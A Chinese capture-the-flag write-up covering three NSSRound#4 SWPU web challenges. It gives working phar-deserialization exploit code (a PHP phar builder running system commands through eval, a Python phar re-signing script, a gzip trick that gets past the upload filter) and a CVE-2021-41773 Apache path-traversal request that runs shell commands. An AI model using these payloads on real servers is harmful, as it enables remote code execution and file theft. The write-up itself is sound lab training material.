[NSSRound#4 SWPU]1zweb
考察:phar的反序列化
1.打开环境,审计代码
1.非预期解
直接用file伪协议读取flag,或直接读取flag
file:///flag /flag
2.正常解法
用读取文件读取index.php,upload.php的源码
index.php:
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }
upload.php
<?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
ndex.php中只需要绕过_wakeup魔术方法就行了,可以考虑增加自然属性个数或增加属性个数来绕过,因为upload.php会检查stub,所以压缩文件成zip(注意要用winhex改变属性个数,不然签名会改变),用phar://伪协议来读取文件
phar压缩:
<?php ini_set("phar.readonly","Off"); class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $a = new LoveNss(); $phar = new Phar('aa.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?> #注意要手动将php.ini中的phar.readonly改成Off
提交发现文件没有运行,所以考虑可能是压缩文件格式的问题。
用linux命令gzip压缩成gz
cd 工作目录 gzip aa.phar
得到aa.phar.gz,改文件名为1.jpg上交,用phar读取发现签名损坏,所以要进行签名修复,phar由data,data签名(20位),和签名格式(8位)组成
修复脚本:
from hashlib import sha1 import gzip file = open(r'C:\networkSafe\phpstudy_pro\WWW\aa.phar', 'rb').read() data = file[:-28] # 获取需要签名的数据 # data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup final = file[-8:] # 获取最后8位GBMB标识和签名类型 newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB open(r'C:\networkSafe\phpstudy_pro\WWW\new.phar', 'wb').write(newfile) # 写入到新的phar文件 newf = gzip.compress(newfile) with open(r'C:\networkSafe\phpstudy_pro\WWW\2.jpg', 'wb') as file: #更改文件后缀 file.write(newf)
最后上交修改后的2.jpg得到flag
[NSSRound#4 SWPU]ez_rce
考察:CVE-2021-41773目录穿越漏洞
Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。
brup构造如下数据包,
POST /cgi-bin/test-cgi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
重点在/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
,%2e
是.
的url编码,所以这一段其实就是/cgi-bin/../../../../bin/sh
echo;xxx
则是命令执行
获取flag信息
跟进/flag_is_here发现还有文件夹
这里我们用grep来进行过滤来读flag
echo;grep -r "NSS" /flag_is_here
[NSSRound#4 SWPU]1zweb(revenge)
考察:php代码审计,文件读取漏洞,文件上传绕过,phar协议反序列化漏洞
首先有一个查询文件的功能和一个文件读取的功能,一开始以为是文件上传的漏洞,后面发现不行,应该是网站在后端限制了文件上传的后缀,观察到这里有个文件查询的功能应该是文件读取,试一下直接读flag
读取flag失败,那我们就先读取一下源码index.php
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ if (preg_match("/flag/", $file)) { die("nonono"); } echo file_get_contents($file); }
发现跟之前题目有点相像
因此猜想这里应该是利用了phar协议的反序列化来拿flag
Phar反序列化
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作
再看看upload.php文件
<?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
可以看到首先是对文件后缀的限制,然后是对phar文件里的_HALT_COMPILER();进行匹配,这个函数是phar文件的标志性函数,这种限制手法是有漏洞的,可以绕过的,我们可以将phar文件用linux的gzip进行压缩来加密它,以此来绕过此检测,在上面的魔术方法的图里看到了wakeup函数,在php低版本里,可以通过修改属性个数大于实际属性个数,来绕过wakeup函数,但是因为phar文件生成时是自动进行序列化的,所以我们我们需要修改文件,phar文件生成时会进行签名,来防止被修改,所以修改文件后我们需要对phar文件重新签名,phar文件有几种不同的加密签名选择,默认签名方法应该是要看生成phar文件的php版本
构造恶意phar文件
<?php class LoveNss{ public $ljt="Misc"; public $dky="Re"; public $cmd="system('ls /');"; } $a = new LoveNss(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //自定义的meta-data $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算,默认是SHA1 $phar->stopBuffering();
生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量
这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧
from hashlib import sha1 file = open('phar.phar', 'rb').read() data = file[:-28]#要签名的部分是文件头到metadata的数据。 final = file[-8:] newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile)
生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失
确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧
但是呢Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip
继续进行同样的上传和phar://伪协议操作
这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作